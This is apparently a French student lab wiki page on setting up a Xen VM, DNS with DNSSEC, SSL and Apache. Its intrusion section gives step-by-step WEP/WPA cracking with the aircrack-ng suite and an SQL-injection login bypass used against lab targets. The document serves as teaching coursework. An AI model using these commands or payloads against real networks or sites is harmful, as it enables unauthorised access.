         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57884</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57884"/>
				<updated>2022-01-12T09:53:18Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Injection SQL */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
